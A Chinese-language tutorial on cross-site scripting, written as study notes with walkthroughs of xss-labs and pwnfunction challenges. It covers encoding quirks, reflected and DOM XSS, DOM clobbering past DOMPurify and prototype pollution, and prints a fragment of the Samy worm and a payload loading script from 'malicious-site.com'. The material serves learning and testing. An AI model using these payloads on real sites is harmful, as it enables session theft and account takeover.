XSS相關理解

由于本人對一小部分dom型xss、原型鏈污染和存儲型xss理解不夠透徹,因此在本篇文章中原型鏈污染和存儲型xss偏重進行概念理解或簡單的代碼理解,隨后會慢慢補充

文章目錄

  • 1 XSS概述
    • 1.1 什么是XSS?
    • 1.2 XSS主要分三種類型
  • 2 XSS基礎
    • 2.1 XSS基礎練習
      • 2.1.1 編碼問題
      • 2.1.2 原因
    • 2.2 JS基礎練習
      • 2.2.1 JS相關問題
      • 2.2.2 原因
  • 3 反射型XSS(Reflected XSS)
    • 3.1 理解反射型XSS
      • 3.1.1 反射型XSS具有以下特點
      • 3.1.2 圖解
    • 3.2 實戰演練
      • level 1
      • level 3
      • level 5
      • level 8
    • 3.3 總結
  • 4 DOM型XSS(Document Object Model Cross-Site Scripting)
    • 4.1 理解DOM型XSS
      • 4.1.1 DOM型XSS的特點
      • 4.1.2 圖解
    • 4.2 DOM基礎
      • 4.2.1 實戰演練
        • level 1
        • level 2
        • level 3
        • level 4
      • 4.2.2 演練核心標簽總結
    • 4.3 DOM破壞(DOM Clobbering)
      • 4.3.1 核心機制
      • 4.3.2 特點
      • 4.3.3 實戰演練
        • 4.3.3.1 相關知識
        • 4.3.3.2練習
  • 5 存儲型XSS(Persistent XSS)
    • 5.1 什么是存儲型XSS
      • 5.1.2 存儲型XSS的特點
      • 5.1.3 圖解
    • 5.2 案例展示
      • 5.2.1 案例一
      • 5.2.2 案例二
    • 5.3 總結
  • 6 原型鏈污染(Prototype Pollution)
    • 6.1 什么是原型鏈污染?
      • 6.1.1 核心原理
    • 6.2 理解`prototype`、`__proto__`和`constructor`
      • 6.2.1 `prototype` 屬性
      • 6.2.2 `__proto__ `屬性
      • 6.2.3 `constructor` 屬性
      • 6.2.2 總結
    • 6.3 簡單代碼理解
  • 7 XSS相關總結

1 XSS概述

1.1 什么是XSS?

XSS(跨站腳本攻擊,Cross-Site Scripting) 是一種常見的網絡安全漏洞,攻擊者通過向網頁中注入惡意腳本,當其他用戶訪問該頁面時,腳本會在其瀏覽器中執行,從而實施攻擊。

我用3句話理解XSS

  • 目標:攻擊者試圖在可信的網站上注入惡意代碼(通常是 JavaScript)。
  • 手段:利用網站對用戶輸入的不當處理(未過濾/轉義)。
  • 觸發:當其他用戶瀏覽被感染的頁面時,惡意腳本自動執行。

1.2 XSS主要分三種類型

  • 反射型XSS:頁面能解析js代碼的功能被稱為XSS的反射型漏洞。沒有對用戶的輸入做出特定的過濾,導致用戶輸入的惡意js代碼輸出到頁面上被頁面解析
  • DOM型XSS:惡意腳本由瀏覽器前端 JS 對污染源的不安全處理并執行,全程不經過服務器,惡意代碼直接在受害者瀏覽器中觸發,攻擊鏈條完全在瀏覽器內閉環,傳統服務端防御手段失效。
  • 存儲型XSS:攻擊者將惡意腳本提交到服務器數據庫中(如評論區、用戶資料),當用戶訪問被感染的頁面時自動執行,竊取Cookie/會話等數據,腳本永久存儲在服務器數據庫,無需用戶交互,只要訪問立馬執行。

這三個XSS類型各有特點,在這篇文章我將以我的理解對這三種xss進行理解或展示。
此外原型鏈污染 雖然不屬于 XSS,它是獨立的 JS 原型篡改漏洞,但可導致 XSS,當污染對象涉及 DOM 操作屬性時,會引發 XSS。

2 XSS基礎

在XSS中我們首先需要知道頁面的解析先后順序:

html實體編碼---->urlencode編碼---->js unicode編碼

2.1 XSS基礎練習

2.1.1 編碼問題

<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">aaaaaa</a>
<a href="javascript%3aalert(3)">aaaaa</a>
<div>&#60;img src=x onerror=alert(4)&#62;</div>
<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>
<textarea><script>alert(6)</script></textarea>

2.1.2 原因

第一個
瀏覽器 嘗試解碼這些URL編碼,但解碼發生在錯誤的時間點(在協議識別之后)結果瀏覽器無法識別javascript:協議,因此放棄執行解碼。技術上瀏覽器解碼了,但解碼結果未被使用(因為協議未識別)。
第二個
瀏覽器直接解碼HTML實體編碼,在瀏覽器識別協議之前已經成功解碼,并且瀏覽器在解碼之后成功識別javascript協議,因此可以正確點擊鏈接執行彈窗。
第三個
原因與第一個相似,javascript:是一個整體,該鏈接將:進行編碼因此瀏覽器無法在解析之前識別協議,不能正常點擊鏈接跳出彈窗。
第四個
瀏覽器可以正常解析&#60;&#62;<>,但HTML解析標簽以tag open state(<)開始tag name state(>)結束,因此瀏覽器雖然將編碼解析成功,但不會轉為tag open state(標簽開始狀態)只會將<div>標簽里的內容以data(數據)形式顯示出來因此無法建立img標簽也無法正常顯示彈窗。
第五個
正確解碼,為RCDATA元素,可以容納文本和字符引用。一旦有字符引用可能無法進入標簽開始狀態
第六個
無需解碼,為RCDATA元素,可以容納文本和字符引用。一旦有字符引用可能無法進入標簽開始狀態

\第一個第二個第三個第四個第五個第六個
是否嘗試解碼? 是? 是? 是? 是? 是?無需解碼
解碼時機太晚(協議識別后)正確(分階段)太晚(協議識別后)正確(分階段)正常解碼----
解碼結果是否有效? 否? 是? 否? 是? 是----
根本原因協議部分被編碼導致瀏覽器放棄協議部分通過HTML實體先解碼協議部分被編碼導致瀏覽器放棄內容以div標簽里的數據形式解析出來,但不能識別為一個img標簽雖然解析成功但無法進入標簽狀態----

2.2 JS基礎練習

2.2.1 JS相關問題

<button onclick="confirm('7&#39;);">Button</button>
<button onclick="confirm('8\u0027);">Button</button>
<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>
<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
<script>alert('14
')</script>
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>

2.2.2 原因

第一、二個:js嚴格區分大小寫,不能對符號編碼,因此前兩個button無法觸發
第三個:將alert(9);轉為html編碼但<script>為原始文本元素,只能容納文本,無法容納字符,因此無法辨別內容為alert(9);的html編碼因此無法解析。
第四個:正確彈窗
第五個:同第一、二個原因
第六個:js語法問題,js的解析器默認將12理解為字符串,字符串需要單引號包裹起來,沒有單引號不能識別出12
第七個:換行符不影響解析,正常彈窗
第八個:使用了所有的解碼:首先解析html實體解碼,urlencode解碼發現javascript已出現,并將其識別,進入js環境下,js支持unicode解碼,因此可以正常解析,正常彈窗。

3 反射型XSS(Reflected XSS)

又稱為非持久性跨站點腳本攻擊,它是最常見的類型的XSS。漏洞產生的原因是攻擊者注入的數據反映在響應中。一個典型的非持久性XSS包含一個帶XSS攻擊向量的鏈接( 即每次攻擊需要用戶的點擊)。

3.1 理解反射型XSS

沒有對用戶的輸入做出特定的過濾,導致用戶輸入的惡意js代碼輸出到頁面上被頁面解析

3.1.1 反射型XSS具有以下特點

  • 腳本不存儲在服務器,僅通過 URL 參數傳遞。
  • 需要誘導用戶主動點擊惡意鏈接(如釣魚郵件)。
  • 常見于搜索框、錯誤提示頁等動態返回內容的功能。

3.1.2 圖解

在這里插入圖片描述
使用符合js的規范都可以執行使用js標簽包裹或者使用html標簽:
例如:

<script>alert(1)</script>
--------------------------------------------------------
<img src=1 onerror=alert(1)>
--------------------------------------------------------
<a href="javascript:alert(1)">aaaa</a>    //使用javascript偽協議。需要用戶參與
--------------------------------------------------------
<svg/onload=alert(1)>等等
--------------------------------------------------------
巧用“//“注解,使用注解可以將后續的代碼注釋掉

有些過濾器會相應的過濾掉某些標簽元素,因此我們還需要掌握三中html能識別的編碼,靈活使用編碼代替原標簽進行反射xss(以下為相關概念,了解一下):

  • urlcode編碼:URL編碼(URLEncoder)和解碼(URLDecoder)是處理URL中包含的特殊字符和中文的常用方法。URL編碼的目的是將字符串轉換成有效的URL格式,而URL解碼則是將這些特殊的URL格式還原回原始字符串。
  • html實體編碼:一段以連字號(&)開頭、以分號(;)結尾的字符串,用以顯示不可見字符及保留字符
  • js unicode編碼:將全世界所有的字符包含在一個集合里,計算機只要支持這一個字符集,就能顯示所有的字符

使用常用的轉碼工具將所需轉碼的內容轉為對應編碼的內容即可:

https://www.toolhelper.cn/
https://tool.oschina.net/encode

3.2 實戰演練

選擇部分代碼進行反射型XSS的實戰演練

level 1

源碼:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");window.location.href="level2.php?keyword=test"; 
}
</script>
<title>歡迎來到level1</title>
</head>
<body>
<h1 align=center>歡迎來到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>歡迎用戶".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
</html>

解題:
在這里插入圖片描述
在此題中發現注入內容會注入到h2標簽內如需要彈窗只要讓其觸發alert即可
在網址后輸入:即可
在這里插入圖片描述

level 3

源碼:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>歡迎來到level3</title>
</head>
<body>
<h1 align=center>歡迎來到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
</html>

解題:
在源碼中發現

htmlspecialchars過濾函數會過濾雙引號但是該函數在源碼中并未設置ENT_QUOTES因此并不會過濾單引號。
該源碼中單引號包含了雙引號,需要將單引號閉合
在這里插入圖片描述

input輸入框輸入a' onclick='alert(1)完成題解
在這里插入圖片描述

level 5

源碼:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>歡迎來到level5</title>
</head>
<body>
<h1 align=center>歡迎來到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str3)."</h3>";
?>
</body>
</html>

解題:
在源碼中,發現題目進行了簡單替換:將<script替換為<scr_ipt,on替換為o_n
因此所有的on事件被過濾,<script>標簽被過濾
但發現<>并沒有被過濾,因此我們需要將源碼進行閉合即可
input輸入框內輸入a"><a href="javascript:alert(1)">aaaaaaaaaaaa</a>"即可題解
在這里插入圖片描述
點擊鏈接完成挑戰
在這里插入圖片描述

level 8

源碼:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯!");window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>歡迎來到level8</title>
</head>
<body>
<h1 align=center>歡迎來到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?phpecho '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>";
?>
</body>
</html>

解題:
使用編碼轉換輸入即可
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)
在這里插入圖片描述
點擊友情鏈接,成功題解
在這里插入圖片描述

3.3 總結

1.反射型xss的存在位置可能在搜索欄、input表單
2.可能會存在過濾,可以通過編碼,大寫等方式嘗試繞過
3.javascript偽協議也可以觸發xss

4 DOM型XSS(Document Object Model Cross-Site Scripting)

控制js產生的xss稱為dom型xss

4.1 理解DOM型XSS

一句話總結:DOM 型 XSS = 前端 JavaScript 代碼 + 不安全的 DOM 操作 + 客戶端污染源(URL/Storage)

4.1.1 DOM型XSS的特點

  • 全程在瀏覽器端發生:
    • 惡意代碼的注入、解析、執行均在用戶瀏覽器中完成,不經過服務器處理。
  • 繞過服務器防護:
    • 攻擊載荷常隱藏在 URL 片段(#后)、window.name 或 前端存儲(LocalStorage) 中,不會被發送到服務器。
    • ? 傳統 WAF(Web 應用防火墻)無法檢測此類攻擊。
  • 觸發依賴危險 DOM API
    • 漏洞源于開發者使用不安全的 DOM 操作方法:
  • 非持久性(通常)
    • 攻擊需誘導用戶訪問特定惡意鏈接,腳本不會存儲在服務器或客戶端數據庫中。
    • 🔁 但可通過社工手段(如釣魚郵件)大規模傳播。
  • 隱蔽性高
    • 由于不經過服務器,瀏覽器開發者工具是主要檢測手段(Network 面板無異常請求)。

4.1.2 圖解

在這里插入圖片描述

4.2 DOM基礎

4.2.1 實戰演練

dom相關的部分基礎xss練習

level 1

源碼:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><h2 id="spaghet"></h2>
</body>
<script>spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
</html>

解題:

要求:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.

分析:
js安全策略:在H5中指定不執行使用element.innerHTML插入的<script>標簽,因此不能使用<script>標簽

源碼分析可得url地址欄里獲取了get傳參,而傳參的key是somebody,如果沒有給somebody傳參則默認使用Somebody代替并通過innerHTML寫入id為spaghet的<h2>標簽中。除了<script>標簽以外能觸發彈窗的任何標簽都可以
給somebody傳參輸入<img src=1 onerror=alert(1337)>完成題解

在這里插入圖片描述

level 2

源碼:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title></head>
<body><h2 id="maname"></h2>
</body>
<script>let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")let ma = ""eval(`ma = "Ma name ${jeff}"`)setTimeout(_ => {maname.innerText = ma}, 1000)
</script>
</html>

解題:

要求:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.

分析:
eval為執行函數,可以直接執行內容。
由于該參數有雙引號,因此我們需要閉合雙引號。
可以使用//注釋將后面的雙引號進行閉合

jeff傳參wowo";alert(1337)//即可完成題解
在這里插入圖片描述

level 3

源碼:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title></head>
<body><div id="uganda"></div>
</body>
<script>let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");wey = wey.replace(/[<>]/g, '')uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
</html>

解題:

Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.

分析:
源碼過濾了<>
由于用戶不能參與交互因此我們不能直接設置點擊事件
由于<input>有核心屬性onfocusautofocus自動聚焦,可以實現題目中禁止用戶交互的要求

因此wo" autofocus onfocus="alert(1337)"即可完成題解
在這里插入圖片描述

level 4

源碼:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title></head>
<body>
<form id="ricardo" method="GET"><input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
</body>
<script>ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')setTimeout(_ => {ricardo.submit()}, 2000)
</script>
</html>

解題:

要求:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.

分析:
form表單中的action屬性將form表單中的數據傳輸到action屬性指定的地址,如將數據傳輸到1.php只需要在action屬性中填入即可,源碼中action屬性未傳值的時候提交到#(表示傳到當前頁面)。
setTimeout將在2秒延遲后自動提交

ricardo傳入javascript:alert(1337)偽協議即可完成題解
在這里插入圖片描述

4.2.2 演練核心標簽總結

innerHTML:禁止觸發`<script>`標簽
input標簽有特殊屬性onfocus(聚焦)與autofocus(自動聚焦)結合使用
form表單屬性:action,method,enctype
- action- 指定后端action目標地址接收并處理表單數據(action可以出發javascript偽協議)
- method- post:將數據封裝在HTTP請求體中發送,對數據內容加密處理,適合提交敏感信息或大量數據(如文件上傳)。??-  get:將表單數據附加到action指定的URL后,適合非敏感且數據量較小的查詢操作(如搜索、篩選)。??
- enctype- 提交賬號密碼等文字需要發送的數據編碼為 "名稱/鍵值" 的形式使用默認屬性application/x-www-form-urlencoded- 上傳文件、mp3、圖片等使用multipart/form-data- 提交純文本使用text/plain

4.3 DOM破壞(DOM Clobbering)

DOM 破壞是一種利用 HTML 元素覆蓋 JavaScript 全局變量或對象屬性的攻擊技術,目的是篡改頁面邏輯或繞過安全機制。
通過注入特定 HTML 標簽(如 <form><img><a>),覆蓋頁面中的 JavaScript 變量或 DOM 對象屬性,從而破壞前端邏輯或繞過安全檢測。

4.3.1 核心機制

HTML 元素的命名覆蓋

  • 當 HTML 標簽設置了 id 或 name 屬性時,瀏覽器會自動將其暴露為全局變量(或嵌套在 document 對象下)。
  • 攻擊者注入惡意標簽,覆蓋已有變量或屬性。

4.3.2 特點

  • 隱蔽性強:不觸發腳本執行,僅改變對象狀態。
  • 誤判為“無害”:傳統安全掃描工具難以檢測邏輯覆蓋。
  • 現代框架的盲區:React/Vue 等框架雖減少直接 DOM 操作,但若與原生 JS 混用仍可能中招。

核心記憶點:任何未受保護的 HTML 的 id/name 屬性都可能成為攻擊入口!

4.3.3 實戰演練

dom破壞的相關練習

4.3.3.1 相關知識
<body><img id="x"><img name="y">
</body>
<script>console.log(x)console.log(y)console.log(document.x)console.log(document.y)console.log(window.x)console.log(window.y)
</script>

在這里插入圖片描述

前端特性:結果可知只有document.x不適配id其他都適配

<body><img id="x"><img name="y">
</body>
<script>let div = document.createElement('div')//創建div標簽div.innerHTML = '<img name="cookie">'//標簽內容為<img name="cookie">document.body.appendChild(div)//div標簽添加到body中console.log(document.cookie)//請求document.cookie
</script>

運行發現:
在這里插入圖片描述
發現設創建的<div>標簽中的內容img把獲取系統頁面的cookie系統函數覆蓋掉了
!!這樣的操作危害是非常大的,用戶的權限太大以至于可以隨意更改系統函數!!

<body><form name="body"><img id="appendChild"></form>
</body>
<script>console.log(body.appendChild)
</script>

在這里插入圖片描述
發現本次二次覆蓋取出的并不是系統自帶的函數,而是img標簽

document覆蓋最多覆蓋三層
document.x
document.x.y
document.x.y.z

在控制臺輸入Object.prototype.toString.call(document.body.appendChild)

在這里插入圖片描述
我們拿到的是[object HTMLImageElement]html下的img元素是一個object對象,但是不好操作,所以需要toString轉為可控的字符串類型

Object.getOwnPropertyNames(window)//獲取window所有屬性的名稱
.filter(p => p.match(/Element$/))//過濾含有Element為結尾元素的標簽
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)//過濾本身有的原型鏈的方法而不是祖先自帶的方法

取出為下圖顯示:
在這里插入圖片描述

4.3.3.2練習

源碼:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body>
<h2 id="boomer">Ok, Boomer.</h2>
</body>
<script>boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")setTimeout(ok, 2000)
</script>
</html>

解題:

要求:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.

分析:
引入過濾框架DOMPurify
boomer沒有傳參默認執行顯示Ok,Boomer.
setTimeout兩秒之后執行一次
setTimeout中的ok是否是一個函數,如果是,就會自動調用oktoString方法
需要分析這幾個問題:

  • 1.ok從何而來?
    dom破壞中來,定義一個idoka標簽<a id=ok href='aaaaa'>
    dom 11 12
  • 2.惡意payload觸發ok里的惡意代碼
    a標簽里的href屬性為javascript:alert(1337)
  • 3."繞過"框架(白名單)
    白名單有:

在這里插入圖片描述

  • 4.ok引入

輸入boomer=<a id=ok href="sms:alert(1337)">完成題解
在這里插入圖片描述

源碼:

<script>const data = decodeURIComponent(location.hash.substr(1));;const root = document.createElement('div');root.innerHTML = data;// 這里模擬了XSS過濾的過程,方法是移除所有屬性,sanitizerfor (let el of root.querySelectorAll('*')) {let attrs = [];for (let attr of el.attributes) {attrs.push(attr.name);}for (let name of attrs) {el.removeAttribute(name);}}    document.body.appendChild(root); 
</script>

解題:

解析:
1.在觸發程序之前進行觸發
2.生成一個無關的節點,而避免我們的payload被刪除+

1.輸入<svg><svg/onload=alert(1)>觸發彈窗,完成題解
在這里插入圖片描述
2.使用所有標簽遍歷

<script>var log = [];var html =["a", "abbr", "acronym", "address", "applet", "area", "article", "aside", "audio", "b", "base", "basefont", "bdi", "bdo","bgsound", "big", "blink", "blockquote", "body", "br", "button", "canvas", "caption", "center", "cite", "code", "col","colgroup", "command", "content", "data", "datalist", "dd", "del", "details", "dfn", "dialog", "dir", "div", "dl", "dt","element", "em", "embed", "fieldset", "figcaption", "figure", "font", "footer", "form", "frame", "frameset", "h1", "head","header", "hgroup", "hr", "html", "i", "iframe", "image", "img", "input", "ins", "isindex", "kbd", "keygen", "label","legend", "li", "link", "listing", "main", "map", "mark", "marquee", "menu", "menuitem", "meta", "meter", "multicol","nav", "nextid", "nobr", "noembed", "noframes", "noscript", "object", "ol", "optgroup", "option", "output", "p", "param","picture", "plaintext", "pre", "progress", "q", "rb", "rp", "rt", "rtc", "ruby", "s", "samp", "script", "section", "select","shadow", "slot", "small", "source", "spacer", "span", "strike", "strong", "style", "sub", "summary", "sup", "svg", "table", "tbody", "td", "template", "textarea", "tfoot", "th", "thead", "time", "title", "tr", "track", "tt", "u", "ul", "var","video", "wbr", "xmp"],logs = [];div = document.createElement('div'); for (var i = 0; i < html.length; i++) {for (var j = 0; j < html.length; j++) {div.innerHTML = '<' + html[i] + ' id=element1>' + '<' + html[j] + ' id=element2>'; document.body.appendChild(div);if (window.element1 && element1.element2) {log.push(html[i] + ',' + html[j]);}document.body.removeChild(div);}}console.log(log.join('\n'));
</script>

得到可以進行兩個id嵌套的組合:

form,button
form,fieldset
form,image
form,img
form,input
form,object
form,output
form,select
form,textarea

例如使用form與output進行組合:

<body><form id="x"><output id="y">I've been clobbered</output>
</form>
</body>
<script>
console.log(x.y)//在y后面添加value會把<output>標簽里的I've been clobbered顯示出來
</script>

控制臺顯示:

在這里插入圖片描述

5 存儲型XSS(Persistent XSS)

最危險的跨站腳本攻擊類型。

5.1 什么是存儲型XSS

存儲型XSS(跨站腳本攻擊)是一種惡意腳本被永久存儲在目標服務器上的攻擊類型,當用戶訪問受感染頁面時自動執行。

5.1.2 存儲型XSS的特點

  • 持久性:惡意腳本存儲在服務器上(數據庫、文件系統等)
  • 自動傳播:用戶只需訪問頁面就會觸發攻擊
  • 影響范圍廣:所有訪問該頁面的用戶都會受到影響
  • 危害嚴重:可竊取用戶憑據、會話信息,傳播惡意軟件等

5.1.3 圖解

在這里插入圖片描述

5.2 案例展示

5.2.1 案例一

MySpace Samy蠕蟲(2005)

  • 攻擊方式:用戶資料中注入惡意腳本
  • 傳播速度:20小時內感染100萬用戶
onload="var B=String.fromCharCode(34); 
var A=String.fromCharCode(39); 
function g(){var C; 
try{var D=document.body.createTextRange();C=D.htmlText} 
catch(e){}if(C){return C}else{return''}} 
function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')} 
function getQueryParams(){var E=document.location.search; 
var F=E.substring(1,E.length).split('&'); 
var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('='); 
AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams(); 
var L=AS['Mytoken'];var M=AS['friendID']; 
if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search} 
else{if(!M){M=g()}if(M){ 
// 核心攻擊代碼

影響:強制添加攻擊者為好友,成為首個大規模XSS蠕蟲

5.2.2 案例二

eBay存儲型XSS(2015)

  • 攻擊方式:商品描述中注入惡意腳本
  • 攻擊載荷:<script src="http://malicious-site.com/xss.js"></script>
  • 影響:竊取買家支付信息,持續數月未被發現
  • 根本原因:未對商品描述進行輸出編碼

5.3 總結

持續時間長,惡意腳本長期存儲在服務器(數據庫/文件系統)只要被感染頁面被訪問,攻擊就會觸發。自動傳播,用戶無需任何交互(如點擊鏈接)。訪問即中招。影響范圍廣,所有訪問該頁面的用戶都會受影響,可造成大規模數據泄露。隱蔽性強,可能潛伏數月才被發現,難以追溯攻擊源頭

6 原型鏈污染(Prototype Pollution)

6.1 什么是原型鏈污染?

是一種針對 JavaScript 運行時的攻擊技術,攻擊者通過篡改對象的原型(prototype)注入惡意屬性,導致所有繼承該原型的對象被污染,從而引發安全漏洞。

6.1.1 核心原理

  1. JavaScript 的原型鏈機制
    每個 JavaScript 對象都有隱藏屬性 __proto__(或通過 Object.getPrototypeOf()訪問),指向其原型對象。
    當訪問對象屬性時,若對象自身不存在該屬性,JS 會沿原型鏈向上查找。
  2. 污染入口點
    攻擊者利用未安全處理的對象合并/復制操作注入 __proto__ 屬性。
    關鍵結論

原型鏈污染屬于 JavaScript 運行時污染,可導致拒絕服務、權限繞過、數據泄露等,不限于 XSS。可成為 XSS 的“催化劑”。若污染了 innerHTMLouterHTMLdocument.write 等 DOM 操作屬性,則間接引發存儲型/DOM 型 XSS。

6.2 理解prototype__proto__constructor

6.2.1 prototype 屬性

  • 只有函數才擁有 prototype 屬性
  • 它是函數的原型對象,包含該類型所有實例共享的屬性和方法
  • 當使用 new 關鍵字創建實例時,新對象會繼承其構造函數的 prototype

6.2.2 __proto__屬性

  • 每個對象(包括函數對象)都有 __proto__ 屬性
  • 它指向創建該對象的構造函數的 prototype
  • 這是原型鏈查找的實際路徑(現代代碼中建議使用 Object.getPrototypeOf())

6.2.3 constructor 屬性

  • 每個 prototype 對象都有一個 constructor 屬性
  • 它指向該原型對象所屬的構造函數
  • 關系:Person.prototype.constructor === Person

6.2.2 總結

原型鏈關系總結

  1. 實例對象(如 alice):
  • 通過 __proto__ 指向其構造函數的 prototype

  • 即:alice.__proto__ === Person.prototype

  1. 構造函數(如 Person):
  • 擁有 prototype 屬性,指向原型對象

  • 自身也有 __proto__,指向 Function.prototype

  1. 原型對象(如 Person.prototype):
  • 包含 constructor屬性指回構造函數

  • 通過 __proto__ 指向 Object.prototype

  1. 原型鏈終點:
  • Object.prototype.__proto__ === null

  • 所有原型鏈最終都指向 null

我感覺我理解的不是很透徹可以看這篇文章更加深入理解:
幫你徹底搞懂JS中的prototype、__proto__與constructor(圖解)

6.3 簡單代碼理解

源碼

//foo是一個簡單的JavaScript對象
let foo = {bar: 1}//foo.bar此時為1
console.log(foo.bar)
//foo對象 __proto__ = Object.prototype.bar = 2
//修改foo.bar的原型(即object)為2
foo.__proto__.bar = 2//由于查找順序的原因,foo.bar仍然為1
console.log(foo.bar)//此時再用Object創建一個空的zoo對象 zoo bar
let zoo = {}//查看zoo.bar,此時為2
console.log(zoo.bar)

運行顯示
在這里插入圖片描述

7 XSS相關總結

特性反射型XSSDOM型XSS存儲型XSS原型鏈污染
存儲位置URL參數URL片段/客戶端存儲服務器數據庫JavaScript原型
持久性非持久通常非持久持久運行時持久
觸發方式點擊惡意鏈接訪問特定URL訪問受感染頁面執行污染代碼
影響范圍點擊者當前用戶所有訪問者整個應用

